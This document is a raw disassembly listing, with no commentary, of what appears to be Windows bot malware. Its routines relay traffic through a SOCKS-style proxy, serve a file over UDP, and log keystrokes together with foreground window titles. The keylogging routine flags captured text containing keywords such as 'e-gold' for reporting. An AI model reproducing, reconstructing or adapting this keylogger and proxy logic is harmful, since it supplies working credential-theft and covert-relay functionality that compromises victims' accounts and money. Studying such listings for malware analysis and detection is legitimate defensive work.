push 19h ; int
push eax ; Source
call sub_40B3BA
mov [ebp+var_38], eax
imul eax, 234h
mov ecx, [ebp+var_3C]
add esp, 20h
mov dword_43E914[eax], ecx
lea eax, [ebp+arg_0]
push eax
lea eax, [ebp+var_D4]
push esi
push eax
push offset sub_411DD3
push esi
push esi
call ds:dword_427084 ; CreateThread
mov ecx, [ebp+var_38]
imul ecx, 234h
cmp eax, esi
mov dword_43E924[ecx], eax
jz short loc_411D50
loc_411D3D: ; CODE XREF: sub_411BCE+180j
cmp [ebp+var_28], esi
jnz loc_411CA9
push 5
call ds:dword_427080 ; Sleep
jmp short loc_411D3D
; ---------------------------------------------------------------------------
loc_411D50: ; CODE XREF: sub_411BCE+16Dj
call ds:dword_427094 ; RtlGetLastWin32Error
push eax
lea eax, [ebp+Source]
push offset asc_4356F4 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp loc_411CA9
; ---------------------------------------------------------------------------
loc_411D70: ; CODE XREF: sub_411BCE+7Bj
; sub_411BCE+8Cj
push edi
call dword_4CBA6C ; closesocket
push [ebp+var_40]
lea eax, [ebp+Source]
push offset asc_4356C0 ; "-"
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_30], esi
jnz short loc_411DB3
push esi ; int
lea eax, [ebp+Source]
push [ebp+var_34] ; int
push eax ; int
lea eax, [ebp+Str]
push eax ; Str
push [ebp+var_D4] ; int
call sub_409869
add esp, 14h
loc_411DB3: ; CODE XREF: sub_411BCE+1C3j
lea eax, [ebp+Source]
push eax
call sub_415D38
push [ebp+var_3C]
call sub_40B6D6
pop ecx
pop ecx
push esi
call ds:dword_4270D4 ; ExitThread
pop edi
pop esi
pop ebx
sub_411BCE endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_411DD3 proc near ; DATA XREF: sub_411BCE+14Fo
var_5D4 = dword ptr -5D4h
var_5D0 = dword ptr -5D0h
var_4D0 = byte ptr -4D0h
var_4CF = byte ptr -4CFh
var_4CE = word ptr -4CEh
var_4CC = dword ptr -4CCh
Dst = byte ptr -4C8h
var_C8 = byte ptr -0C8h
Str2 = byte ptr -44h
var_2C = dword ptr -2Ch
var_18 = word ptr -18h
var_16 = word ptr -16h
var_14 = dword ptr -14h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp+var_C8]
rep movsd
mov esi, [ebp+var_2C]
push 1
mov [ebp+arg_0], esi
imul esi, 234h
pop edi
lea esi, dword_43E91C[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov [ebp+var_8], 5
mov [ebp+var_5D0], eax
lea eax, [ebp+var_8]
push eax
push ebx
lea eax, [ebp+var_5D4]
push ebx
push eax
push ebx
mov [ebp+var_4], ebx
mov [ebp+var_5D4], edi
call dword_4CB9BC ; select
test eax, eax
jnz short loc_411E54
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411E54: ; CODE XREF: sub_411DD3+67j
push ebx
lea eax, [ebp+var_4D0]
push 408h
push eax
push dword ptr [esi]
call dword_4CB9EC ; recv
test eax, eax
jg short loc_411E85
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411E85: ; CODE XREF: sub_411DD3+98j
cmp [ebp+var_4D0], 4
jnz loc_41207F
cmp [ebp+var_4CF], 1
jnz loc_41207F
cmp [ebp+Str2], bl
jz short loc_411F1B
lea eax, [ebp+Str2]
push eax ; Str2
lea eax, [ebp+Dst]
push eax ; Str1
call _strcmp
pop ecx
test eax, eax
pop ecx
jz short loc_411F1B
lea eax, [ebp+Str2]
push eax
lea eax, [ebp+Dst]
push eax ; Args
push offset dword_4357F8 ; Format
call sub_415DAC
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Dh
call _memset
add esp, 18h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411F1B: ; CODE XREF: sub_411DD3+CFj
; sub_411DD3+E5j
push 10h ; Size
lea eax, [ebp+var_18]
push ebx ; Val
push eax ; Dst
call _memset
mov ax, [ebp+var_4CE]
add esp, 0Ch
mov [ebp+var_16], ax
mov eax, [ebp+var_4CC]
push 6
push edi
push 2
mov [ebp+var_18], 2
mov [ebp+var_14], eax
call dword_4CBA54 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short loc_411FB3
call dword_4CB968 ; WSAGetLastError
push eax ; Args
push offset dword_4357B8 ; Format
call sub_415DAC
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_411FB3: ; CODE XREF: sub_411DD3+181j
lea eax, [ebp+var_18]
push 10h
push eax
push edi
call dword_4CB97C ; connect
cmp eax, 0FFFFFFFFh
jnz short loc_412022
call dword_4CB968 ; WSAGetLastError
push eax ; Args
push offset dword_435774 ; Format
call sub_415DAC
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Bh
call _memset
add esp, 14h
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412022: ; CODE XREF: sub_411DD3+1F0j
push 400h ; Size
lea eax, [ebp+Dst]
push ebx ; Val
push eax ; Dst
mov [ebp+var_4D0], bl
mov [ebp+var_4CF], 5Ah
call _memset
add esp, 0Ch
lea eax, [ebp+var_4D0]
push ebx
push 8
push eax
push dword ptr [esi]
call dword_4CBA24 ; send
push dword ptr [esi]
push edi
call sub_412097
pop ecx
pop ecx
push edi
call dword_4CBA6C ; closesocket
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_41207F: ; CODE XREF: sub_411DD3+B9j
; sub_411DD3+C6j
push dword ptr [esi]
call dword_4CBA6C ; closesocket
push [ebp+arg_0]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
sub_411DD3 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412097 proc near ; CODE XREF: sub_411DD3+286p
Dst = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4120AD: ; CODE XREF: sub_412097+C5j
; sub_412097+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4120C5: ; CODE XREF: sub_412097+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4120D5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4120C5
loc_4120D5: ; CODE XREF: sub_412097+33j
cmp ecx, 1
jnz short loc_4120EA
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_4120EA: ; CODE XREF: sub_412097+41j
push esi ; Size
lea eax, [ebp+Dst]
push edi ; Val
push eax ; Dst
call _memset
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call dword_4CB9BC ; select
lea eax, [ebp+var_104]
push eax
push ebx
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz short loc_41214A
push edi
lea eax, [ebp+Dst]
push esi
push eax
push ebx
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+Dst]
push eax
push [ebp+arg_0]
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jz short loc_412192
loc_41214A: ; CODE XREF: sub_412097+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call dword_4CB8C0 ; __WSAFDIsSet
test eax, eax
jz loc_4120AD
push edi
lea eax, [ebp+Dst]
push esi
push eax
push [ebp+arg_0]
call dword_4CB9EC ; recv
cmp eax, 0FFFFFFFFh
jz short loc_412192
push edi
push eax
lea eax, [ebp+Dst]
push eax
push ebx
call dword_4CBA24 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4120AD
loc_412192: ; CODE XREF: sub_412097+9Aj
; sub_412097+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_412097 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_412197 proc near ; CODE XREF: sub_412197:loc_4125F0p
; DATA XREF: sub_401ACD+20B3o ...
var_87C = dword ptr -87Ch
var_878 = dword ptr -878h
var_778 = dword ptr -778h
var_578 = byte ptr -578h
var_577 = byte ptr -577h
var_576 = byte ptr -576h
var_575 = byte ptr -575h
DstBuf = byte ptr -574h
var_374 = dword ptr -374h
Filename = byte ptr -370h
Str = byte ptr -26Ch
var_168 = dword ptr -168h
var_164 = dword ptr -164h
var_160 = dword ptr -160h
var_15C = byte ptr -15Ch
var_DC = dword ptr -0DCh
var_D8 = dword ptr -0D8h
var_D0 = byte ptr -0D0h
var_CF = byte ptr -0CFh
var_CE = byte ptr -0CEh
var_CD = byte ptr -0CDh
Dest = byte ptr -50h
var_3C = byte ptr -3Ch
var_38 = dword ptr -38h
Dst = word ptr -2Ch
var_2A = word ptr -2Ah
var_28 = dword ptr -28h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
File = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 87Ch
mov edx, [ebp+arg_0]
push ebx
push esi
push edi
push 1
xor ebx, ebx
pop eax
mov ecx, 0A9h
mov esi, edx
lea edi, [ebp+var_374]
push ebx
push 2
rep movsd
inc [ebp+var_164]
push 2
mov [ebp+var_10], eax
mov [ebp+var_14], eax
mov [ebp+var_8], eax
mov [edx+2A0h], eax
call dword_4CBA54 ; socket
mov esi, eax
cmp esi, 0FFFFFFFFh
jnz short loc_412237
push 190h
call ds:dword_427080 ; Sleep
cmp [ebp+var_D8], ebx
jnz short loc_412217
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409869
add esp, 14h
loc_412217: ; CODE XREF: sub_412197+5Bj
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
pop ecx
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412237: ; CODE XREF: sub_412197+48j
lea eax, [ebp+var_10]
push 4
push eax
mov edi, 0FFFFh
push 4
push edi
push esi
call dword_4CB9B4 ; setsockopt
lea eax, [ebp+var_14]
push 4
push eax
push 0FFFFFFFBh
push edi
push esi
call dword_4CB9B4 ; setsockopt
mov eax, [ebp+var_168]
push 10h ; Size
imul eax, 234h
push ebx ; Val
mov dword_43E91C[eax], esi
lea eax, [ebp+Dst]
push eax ; Dst
call _memset
add esp, 0Ch
mov [ebp+Dst], 2
push [ebp+var_160]
call dword_4CB9D4 ; htons
mov [ebp+var_2A], ax
lea eax, [ebp+Dst]
push 10h
push eax
push esi
mov [ebp+var_28], ebx
call dword_4CBA00 ; bind
cmp eax, 0FFFFFFFFh
jnz short loc_4122C1
push 1388h
call ds:dword_427080 ; Sleep
dec [ebp+var_164]
push [ebp+arg_0]
jmp loc_4125F0
; ---------------------------------------------------------------------------
loc_4122C1: ; CODE XREF: sub_412197+10Fj
lea eax, [ebp+Filename]
push offset aRb ; "rb"
push eax ; Filename
call _fopen
pop ecx
cmp eax, ebx
pop ecx
mov [ebp+File], eax
jnz short loc_412327
push 190h
call ds:dword_427080 ; Sleep
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409869
lea eax, [ebp+var_778]
push eax
call sub_415D38
push [ebp+var_168]
call sub_40B6D6
add esp, 1Ch
push ebx
call ds:dword_4270D4 ; ExitThread
loc_412327: ; CODE XREF: sub_412197+142j
; sub_412197+413j
mov edi, [ebp+arg_0]
cmp [edi+2A0h], ebx
jz loc_4125B3
mov edi, 80h
lea eax, [ebp+var_D0]
push edi ; Size
push ebx ; Val
push eax ; Dst
mov [ebp+var_1C], 5
mov [ebp+var_18], 1388h
mov [ebp+var_878], esi
mov [ebp+var_87C], 1
call _memset
add esp, 0Ch
lea eax, [ebp+var_1C]
push eax
push ebx
lea eax, [ebp+var_87C]
push ebx
push eax
push ebx
call dword_4CB9BC ; select
test eax, eax
jle loc_4125A7
mov al, byte_43DB88
mov ecx, edi
mov [ebp+var_578], al
xor eax, eax
lea edi, [ebp+var_577]
mov [ebp+var_C], 10h
rep stosd
stosw
stosb
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_3C]
push eax
push ebx
lea eax, [ebp+var_D0]
push 80h
push eax
push esi
call dword_4CB9AC ; recvfrom
push [ebp+var_38]
mov [ebp+var_8], eax
call dword_4CBA60 ; inet_ntoa
push eax ; Format
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
cmp [ebp+var_D0], bl
pop ecx
pop ecx
jnz loc_412591
cmp [ebp+var_CF], 1
jnz loc_412497
lea eax, [ebp+Str]
push eax ; Str
call _strlen
push ebx ; Origin
push ebx ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
mov [ebp+var_578], bl
mov [ebp+var_577], 3
push 200h ; Count
push 1 ; ElementSize
push eax ; DstBuf
mov [ebp+var_576], bl
mov [ebp+var_575], 1
call _fread
add esp, 20h
lea ecx, [ebp+var_3C]
mov [ebp+var_8], eax
add eax, 4
push [ebp+var_C]
push ecx
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp [ebp+var_D8], ebx
jnz short loc_412485
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409869
add esp, 14h
loc_412485: ; CODE XREF: sub_412197+2C9j
lea eax, [ebp+var_778]
push eax
call sub_415D38
pop ecx
jmp loc_4125A7
; ---------------------------------------------------------------------------
loc_412497: ; CODE XREF: sub_412197+257j
cmp [ebp+var_CF], 4
jnz loc_412591
mov cl, [ebp+var_CD]
mov al, [ebp+var_CE]
cmp cl, 0FFh
mov [ebp+var_578], bl
mov [ebp+var_577], 3
jnz short loc_4124D4
inc al
xor cl, cl
mov [ebp+var_576], al
mov [ebp+var_575], bl
jmp short loc_4124E2
; ---------------------------------------------------------------------------
loc_4124D4: ; CODE XREF: sub_412197+329j
inc cl
mov [ebp+var_576], al
mov [ebp+var_575], cl
loc_4124E2: ; CODE XREF: sub_412197+33Bj
movzx eax, al
movzx ecx, cl
shl eax, 8
add eax, ecx
mov edi, 200h
shl eax, 9
sub eax, edi
push ebx ; Origin
push eax ; Offset
push [ebp+File] ; File
call _fseek
push [ebp+File] ; File
lea eax, [ebp+DstBuf]
push edi ; Count
push 1 ; ElementSize
push eax ; DstBuf
call _fread
add esp, 1Ch
mov edi, eax
lea eax, [ebp+var_3C]
mov [ebp+var_8], edi
push [ebp+var_C]
push eax
lea eax, [edi+4]
push ebx
push eax
lea eax, [ebp+var_578]
push eax
push esi
call dword_4CBA38 ; sendto
cmp edi, ebx
jnz short loc_4125A7
lea eax, [ebp+Dest]
push eax
lea eax, [ebp+var_778]
push offset dword_434798 ; Format
push eax ; Dest
call _sprintf
add esp, 0Ch
cmp [ebp+var_D8], ebx
jnz short loc_41257C
push ebx ; int
lea eax, [ebp+var_778]
push [ebp+var_DC] ; int
push eax ; int
lea eax, [ebp+var_15C]
push eax ; Str
push [ebp+var_374] ; int
call sub_409869
add esp, 14h
loc_41257C: ; CODE XREF: sub_412197+3C0j
lea eax, [ebp+var_778]
push eax
call sub_415D38
inc dword_4CE4DC
pop ecx
jmp short loc_4125A7
; ---------------------------------------------------------------------------
loc_412591: ; CODE XREF: sub_412197+24Aj
; sub_412197+307j
push [ebp+var_C]
lea eax, [ebp+var_3C]
push eax
push ebx
push 9
push offset dword_435838
push esi
call dword_4CBA38 ; sendto
loc_4125A7: ; CODE XREF: sub_412197+1E9j
; sub_412197+2FBj ...
cmp [ebp+var_8], ebx
jg loc_412327
mov edi, [ebp+arg_0]
loc_4125B3: ; CODE XREF: sub_412197+199j
push esi
call dword_4CBA6C ; closesocket
push [ebp+File] ; File
call _fclose
dec [ebp+var_164]
cmp [edi+2A0h], ebx
pop ecx
jnz short loc_4125E4
push [ebp+var_168]
call sub_40B6D6
pop ecx
push ebx
call ds:dword_4270D4 ; ExitThread
loc_4125E4: ; CODE XREF: sub_412197+438j
push 3E8h
call ds:dword_427080 ; Sleep
push edi
loc_4125F0: ; CODE XREF: sub_412197+125j
call sub_412197
pop edi
pop esi
pop ebx
leave
retn 4
sub_412197 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
; int __cdecl sub_4125FC(int,char *Str,int,int,char,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int,int)
sub_4125FC proc near ; CODE XREF: sub_4126A7+E2p
; sub_4126A7+1A4p ...
Dest = byte ptr -200h
arg_0 = dword ptr 8
Str = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_10 = byte ptr 18h
arg_90 = dword ptr 98h
arg_94 = dword ptr 9Ch
push ebp
mov ebp, esp
sub esp, 200h
cmp [ebp+arg_90], 0
jz short loc_41266C
push esi
mov esi, offset aEGold ; "e-gold"
loc_412614: ; CODE XREF: sub_4125FC+6Bj
push esi ; SubStr
push [ebp+Str] ; Str
call _strstr
pop ecx
test eax, eax
pop ecx
jz short loc_41265B
push esi
lea eax, [ebp+Dest]
push [ebp+arg_0]
push offset aSS_5 ; "%s (%s)"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_94] ; int
push eax ; int
lea eax, [ebp+arg_10]
push eax ; Str
push [ebp+arg_8] ; int
call sub_409869
add esp, 28h
loc_41265B: ; CODE XREF: sub_4125FC+25j
add esi, 80h
cmp esi, offset dword_436448
jb short loc_412614
pop esi
jmp short loc_4126A3
; ---------------------------------------------------------------------------
loc_41266C: ; CODE XREF: sub_4125FC+10j
push [ebp+arg_0]
lea eax, [ebp+Dest]
push offset aS_6 ; "%s"
push 200h ; Count
push eax ; Dest
call __snprintf
push 0 ; int
lea eax, [ebp+Dest]
push [ebp+arg_94] ; int
push eax ; int
lea eax, [ebp+arg_10]
push eax ; Str
push [ebp+arg_8] ; int
call sub_409869
add esp, 24h
loc_4126A3: ; CODE XREF: sub_4125FC+6Ej
xor eax, eax
leave
retn
sub_4125FC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4126A7 proc near ; DATA XREF: sub_401ACD+7374o
var_920 = dword ptr -920h
var_91C = byte ptr -91Ch
var_520 = byte ptr -520h
Dest = byte ptr -4E0h
var_2E1 = byte ptr -2E1h
Dst = byte ptr -2E0h
var_E0 = byte ptr -0E0h
var_DC = dword ptr -0DCh
var_58 = dword ptr -58h
Str = byte ptr -48h
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 920h
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
and [ebp+var_920], 0
push 26h
and [ebp+arg_0], 0
pop ecx
mov esi, eax
lea edi, [ebp+var_E0]
rep movsd
mov dword ptr [eax+94h], 1
mov ecx, 0FFh
xor eax, eax
lea edi, [ebp+var_91C]
rep stosd
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+Str]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
mov ebx, 200h
loc_412702: ; CODE XREF: sub_4126A7+4A0j
push 8
call ds:dword_427080 ; Sleep
call dword_4CB958 ; GetForegroundWindow
cmp eax, [ebp+var_8]
jz loc_41287A
lea ecx, [ebp+Str]
push 3Ch
push ecx
push eax
mov [ebp+var_8], eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz loc_4127FF
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_4127B8
lea eax, [ebp+Str]
push eax ; Str
call _strlen
cmp eax, 1
pop ecx
jnb short loc_4127B8
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push offset a__S_l_ ; ".».%s.«."
push eax ; int
call _sprintf
sub esp, 8Ch
lea eax, [ebp+Str]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax ; Str
lea eax, [ebp+Dest]
rep movsd
push eax ; int
call sub_4125FC
mov [ebp+arg_0], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0ACh
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_4127B8: ; CODE XREF: sub_4126A7+9Bj
; sub_4126A7+AAj
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+Str]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe loc_41287A
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push offset a__S_l_ ; ".».%s.«."
push eax ; Dest
call _sprintf
sub esp, 8Ch
jmp short loc_412833
; ---------------------------------------------------------------------------
loc_4127FF: ; CODE XREF: sub_4126A7+86j
lea eax, [ebp+Str]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe loc_412925
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push offset a__S_l_ChangedW ; ".».%s.«. (Changed Windows: %s)"
push eax ; int
call _sprintf
sub esp, 88h
loc_412833: ; CODE XREF: sub_4126A7+156j
push 26h
lea eax, [ebp+Str]
pop ecx
lea esi, [ebp+var_E0]
mov edi, esp
push eax ; Str
lea eax, [ebp+Dest]
rep movsd
push eax ; int
call sub_4125FC
mov [ebp+arg_0], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0ACh
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_41287A: ; CODE XREF: sub_4126A7+6Cj
; sub_4126A7+120j ...
cmp [ebp+var_58], 0
jz loc_412925
push 1
call dword_4CB9A0 ; GetAsyncKeyState
cmp ax, 8001h
jnz loc_412925
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jbe short loc_412925
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+var_520]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
lea eax, [ebp+Dst]
push eax
lea eax, [ebp+Dest]
push offset a__S_l_ ; ".».%s.«."
push eax ; int
call _sprintf
sub esp, 8Ch
lea eax, [ebp+var_520]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax ; Str
lea eax, [ebp+Dest]
rep movsd
push eax ; int
call sub_4125FC
mov [ebp+arg_0], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0ACh
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
loc_412925: ; CODE XREF: sub_4126A7+164j
; sub_4126A7+1D7j ...
mov [ebp+var_4], offset dword_43644C
loc_41292C: ; CODE XREF: sub_4126A7+496j
push 10h
call dword_4CB8A8 ; GetKeyState
movsx esi, ax
mov eax, [ebp+var_4]
mov edi, [eax-4]
push edi
call dword_4CB9A0 ; GetAsyncKeyState
test ah, 80h
jz short loc_4129C4
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_412975
cmp esi, 0FFFFFFFFh
jle short loc_412975
cmp edi, 40h
jle short loc_412975
cmp edi, 5Bh
jge short loc_412975
mov [ebp+edi*4+var_920], 1
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_412975: ; CODE XREF: sub_4126A7+2ADj
; sub_4126A7+2B2j ...
push 14h
call dword_4CB8A8 ; GetKeyState
test ax, ax
jz short loc_4129A0
test esi, esi
jge short loc_4129B4
cmp edi, 40h
jle short loc_4129A0
cmp edi, 5Bh
jge short loc_4129A0
mov [ebp+edi*4+var_920], 2
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129A0: ; CODE XREF: sub_4126A7+2D9j
; sub_4126A7+2E2j ...
test esi, esi
jge short loc_4129B4
mov [ebp+edi*4+var_920], 3
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129B4: ; CODE XREF: sub_4126A7+2DDj
; sub_4126A7+2FBj
mov [ebp+edi*4+var_920], 4
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129C4: ; CODE XREF: sub_4126A7+2A0j
mov esi, [ebp+edi*4+var_920]
lea eax, [ebp+edi*4+var_920]
test esi, esi
jz loc_412B32
and dword ptr [eax], 0
lea eax, [ebp+Dst]
cmp edi, 8
push eax ; Str
jnz short loc_4129FC
call _strlen
and [ebp+eax+var_2E1], 0
pop ecx
jmp loc_412B32
; ---------------------------------------------------------------------------
loc_4129FC: ; CODE XREF: sub_4126A7+340j
call _strlen
cmp eax, 1B9h
pop ecx
jbe short loc_412A42
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+Str]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A30
lea eax, [ebp+Dst]
push eax
push offset a__S_l_BufferFu ; ".».%s.«. (Buffer full)"
jmp short loc_412A85
; ---------------------------------------------------------------------------
loc_412A30: ; CODE XREF: sub_4126A7+379j
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dst]
push eax
push offset a__S_l_Buffer_0 ; ".».%s.«. (Buffer full) (%s)"
jmp short loc_412AA6
; ---------------------------------------------------------------------------
loc_412A42: ; CODE XREF: sub_4126A7+360j
cmp edi, 0Dh
jnz loc_412B04
lea eax, [ebp+Dst]
push eax ; Str
call _strlen
test eax, eax
pop ecx
jz loc_412B32
call dword_4CB958 ; GetForegroundWindow
lea ecx, [ebp+Str]
push 3Ch
push ecx
push eax
call dword_4CB970 ; GetWindowTextA
cmp [ebp+var_58], 0
jz short loc_412A96
lea eax, [ebp+Dst]
push eax
push offset a__S_l_Return ; ".».%s.«. (Return)"
loc_412A85: ; CODE XREF: sub_4126A7+387j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 0Ch
jmp short loc_412AB5
; ---------------------------------------------------------------------------
loc_412A96: ; CODE XREF: sub_4126A7+3D0j
lea eax, [ebp+Str]
push eax
lea eax, [ebp+Dst]
push eax
push offset a__S_l_ReturnS ; ".».%s.«. (Return) (%s)"
loc_412AA6: ; CODE XREF: sub_4126A7+399j
lea eax, [ebp+Dest]
push eax ; Dest
call _sprintf
add esp, 10h
loc_412AB5: ; CODE XREF: sub_4126A7+3EDj
sub esp, 98h
lea eax, [ebp+Str]
lea esi, [ebp+var_E0]
push 26h
pop ecx
mov edi, esp
push eax ; Str
lea eax, [ebp+Dest]
rep movsd
push eax ; int
call sub_4125FC
mov [ebp+arg_0], eax
push ebx ; Size
lea eax, [ebp+Dst]
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0ACh
lea eax, [ebp+Dest]
push ebx ; Size
push 0 ; Val
push eax ; Dst
call _memset
add esp, 0Ch
jmp short loc_412B32
; ---------------------------------------------------------------------------
loc_412B04: ; CODE XREF: sub_4126A7+39Ej
cmp esi, 1
jz short loc_412B1D
cmp esi, 3
jz short loc_412B1D
cmp esi, 2
jz short loc_412B18
cmp esi, 4
jnz short loc_412B32
loc_412B18: ; CODE XREF: sub_4126A7+46Aj
push [ebp+var_4]
jmp short loc_412B24
; ---------------------------------------------------------------------------
loc_412B1D: ; CODE XREF: sub_4126A7+460j
; sub_4126A7+465j
mov eax, [ebp+var_4]
add eax, 7
push eax ; Source
loc_412B24: ; CODE XREF: sub_4126A7+474j
lea eax, [ebp+Dst]
push eax ; Dest
call _strcat
pop ecx
pop ecx
loc_412B32: ; CODE XREF: sub_4126A7+2C9j
; sub_4126A7+2F4j ...
add [ebp+var_4], 14h
cmp [ebp+var_4], offset dword_436B7C
jl loc_41292C
cmp [ebp+arg_0], 0
jz loc_412702
